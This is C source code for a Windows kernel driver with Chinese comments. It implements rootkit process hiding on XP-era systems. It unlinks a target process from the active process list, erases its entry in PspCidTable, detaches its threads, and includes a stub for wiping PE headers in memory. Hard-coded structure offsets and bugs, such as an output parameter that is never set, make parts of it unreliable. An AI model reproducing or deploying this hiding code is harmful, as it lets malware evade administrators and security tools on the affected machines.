Header files
#ifndef DBGHELP_H #define DBGHELP_H 1 #include <ntifs.h> /************************************************************************/ /* 重量级结构的申明 */ /************************************************************************/ typedef struct _HANDLE_TABLE { ULONG Flags; LONG HandleCount; PHANDLE_TABLE_ENTRY **Table; struct _EPROCESS *QuotaProcess; HANDLE UniqueProcessId; LONG FirstFreeTableEntry; LONG NextIndexNeedingPool; ERESOURCE HandleTableLock; LIST_ENTRY HandleTableList; KEVENT HandleContentionEvent; } HANDLE_TABLE, *PHANDLE_TABLE; typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN PVOID EnumParameter ); typedef BOOLEAN(*__ExEnumHandleTable)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL ); typedef BOOLEAN (*EXENUMHANDLETABLE)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL ); /************************************************************************/ /* 申明一些全局变量 */ /************************************************************************/ ULONG g_Offset_Eprocess_Name=0; ULONG g_Offset_Eprocess_Flink = 0; ULONG g_Offset_Eprocess_ProcessId = 0; ULONG g_Offset_Eprocess_HandleTable = 0; __ExEnumHandleTable ExEnumHandleTable ; PEPROCESS g_pEprocess_System = 0; ULONG trytimes=0; ULONG error=0; /************************************************************************/ /* 申明一些函数 */ /************************************************************************/ BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter ); NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN ULONG ProcessId ); VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId ); VOID HideProcessById( IN ULONG ProcessId ); NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess ); NTSTATUS InitializeCommonVariables( ); NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ); BOOLEAN IsValidModule(ULONG i); void Search(); ULONG GetAddrFromProcessId(); VOID ClearMZMask(); #endif
Source files
VOID BreakThreadByProcess(ULONG Pid) { /*++ Routine Description: 将所有线程ETHREAD结构的ThreadsProcess抹掉 Return Value: VOID --*/ PEPROCESS eProcess; PETHREAD eThread; PLIST_ENTRY pList; PsLookupProcessByProcessId(Pid,&eProcess); pList = eProcess->Pcb.ThreadListHead.Blink; while (pList != eProcess->Pcb.ThreadListHead.Flink) { eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry)); eThread->ThreadsProcess = 0; pList = pList->Blink; } } VOID ClearMZMask() { /*++ Routine Description: 擦除PE文件MZ,PE标志 Return Value: VOID --*/ PVOID addr; ULONG pid; PEPROCESS eProcess; KAPC_STATE apcstatus; pid = ProtectPid; PsLookupProcessByProcessId(pid,&eProcess); KeStackAttachProcess(eProcess,&apcstatus); KeUnstackDetachProcess(&apcstatus); } ULONG GetAddrFromProcessId() { /*++ Routine Description: 搜索PsLookupProcessByProcessId函数得到PspCidTable的地址 ppPspCidTable:返回PspCidTable表地址 Return Value: VOID --*/ UNICODE_STRING pslookup; PUCHAR addr; PUCHAR p; ULONG q; RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId"); addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup); for(p=addr;p<addr+PAGE_SIZE;p++) { if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8)) { q=*(PULONG)(p+2); return q; break; } } return 0; } BOOLEAN EnumHandleCallback( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN OUT PVOID EnumParameter ) { if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle) { *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ; return TRUE ; } return FALSE ; } // 修改一下,可以传递要擦除的ID做参数 NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN ULONG ProcessId ) { /*++ Routine Description: 擦出PspCidTable结构中的句柄 pHandleTable:指向句柄表指针 ProcessId:进程的PID Return Value: VOID --*/ NTSTATUS status ; PVOID EnumParameter ; UNICODE_STRING uniExEnumHandleTable ; __ExEnumHandleTable ExEnumHandleTable ; status=STATUS_NOT_FOUND ; EnumParameter=ProcessId ; RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable"); ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable); if(NULL==ExEnumHandleTable) { return STATUS_NOT_FOUND ; } // Enum后可以擦除,Callback过程中不能擦除 if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL)) { InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL); status=STATUS_SUCCESS ; } return status ; } VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId ) { /*++ Routine Description: 移除进程EPROCESS结构中的ActiveProces中自己的链表 ProcessId:进程的PID Return Value: VOID --*/ NTSTATUS status; LIST_ENTRY *pListEntry; PEPROCESS pEprocess; status = PsLookupProcessByProcessId(ProcessId,&pEprocess); if (!NT_SUCCESS(status)) { DbgPrint("PsLookupProcessByProcessId Error!\n"); return ; } // ObDereferenceObject(pEprocess); pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88); pListEntry->Flink->Blink = pListEntry->Blink; pListEntry->Blink->Flink = pListEntry->Flink; } VOID HideProcessById( IN ULONG ProcessId ) { NTSTATUS status ; HANDLE_TABLE *pPspCidTable ; PEPROCESS pCsrssEprocess=NULL ; status=InitializeCommonVariables(); pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId(); status=LookupProcessByName(pCsrssEprocess); // 先从活动进程链表中摘除 RemoveNodeFromActiveProcessLinks(ProcessId); // 擦除PspCidTable中对应的Object EraseObjectFromHandleTable(pPspCidTable,ProcessId); // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃 // EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId); return ; } NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess ) { PEPROCESS esProcess; LIST_ENTRY *listen; esProcess = PsGetCurrentProcess(); while (1) { listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink; esProcess= (EPROCESS *)((ULONG)listen - 0x88); DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe"))) { DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); pEprocess = esProcess; DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess); return STATUS_SUCCESS; break; } listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88)); } } NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ) { NTSTATUS status ; PEPROCESS curproc ; ULONG i ; if(!MmIsAddressValid((PVOID)Offset)) { status=STATUS_INVALID_PARAMETER ; return status ; } curproc=PsGetCurrentProcess(); // // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量 // 偏移174h的位置,这里存的是进程的短文件名,少数地方用, // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断 // Scan for 12KB, hopping the KPEB never grows that big! // for(i=0;i<3*PAGE_SIZE;i++) { if(!strncmp("System",(PCHAR)curproc+i,strlen("System"))) { *Offset=i ; status=STATUS_SUCCESS ; break ; } } return status ; } NTSTATUS InitializeCommonVariables( ) { NTSTATUS status ; ULONG uMajorVersion ; ULONG uMinorVersion ; status=GetProcessNameOffset(&g_Offset_Eprocess_Name); if(!NT_SUCCESS(status)) { return status ; } g_pEprocess_System=PsGetCurrentProcess(); PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL); if(uMajorVersion==4&&uMinorVersion==0) { g_Offset_Eprocess_Flink=152 ; // Stop supporting NT 4.0 return STATUS_UNSUCCESSFUL ; } else if(uMajorVersion==5&&uMinorVersion==0) { g_Offset_Eprocess_ProcessId=156 ; g_Offset_Eprocess_Flink=160 ; g_Offset_Eprocess_HandleTable=0x128 ; } else if(uMajorVersion==5&&uMinorVersion==1) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } else if(uMajorVersion==5&&uMinorVersion==2) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } return STATUS_SUCCESS ; } /*++ Routine Description: 得到各个变量的偏移 Return Value: VOID --*/